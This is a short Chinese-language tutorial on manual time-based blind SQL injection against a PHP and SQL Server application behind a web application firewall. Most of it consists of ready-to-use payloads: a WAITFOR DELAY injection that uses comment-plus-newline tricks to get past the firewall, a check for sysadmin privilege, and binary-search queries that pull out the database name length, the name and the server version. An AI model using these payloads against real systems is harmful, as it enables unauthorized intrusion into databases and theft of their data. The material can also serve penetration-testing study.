假设存在一个PHP+SQL SERVER的环境,存在POST注入,只能进行延时盲注,存在防火墙,Sqlmap能够绕过,但不能注入,手工注入语句如下:
0x1:判断是否存在注入:
#inject为注入点,--OwlXXpFshm%0A绕过WAF,替换空格为注释+回车
#如果存在注入,返回的数据包将延时5秒以上
inject';WAITFOR--OwlXXpFshm%0ADELAY--OwlXXpFshm%0A'0:0:5'--
0x2:判断权限:
#如果是sysadmin权限,则延时5秒
inject';if ( select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--
0x3:查询当前数据库的长度和名字
#'>'二分法查询长度
inject';if(len(db_name()))>40 WAITFOR DELAY '0:0:5'--
#查询数据库名字
#substring截取字符串的位置,用ascii转为数字进行二分法查询
inject';if(ascii(substring(db_name(),1,1)))>40 WAITFOR DELAY '0:0:5'--
0x4:查询数据库的版本
inject';if(ascii(substring((select @@version),22,1))=50 WAITFOR DELAY '0:0:5'--
<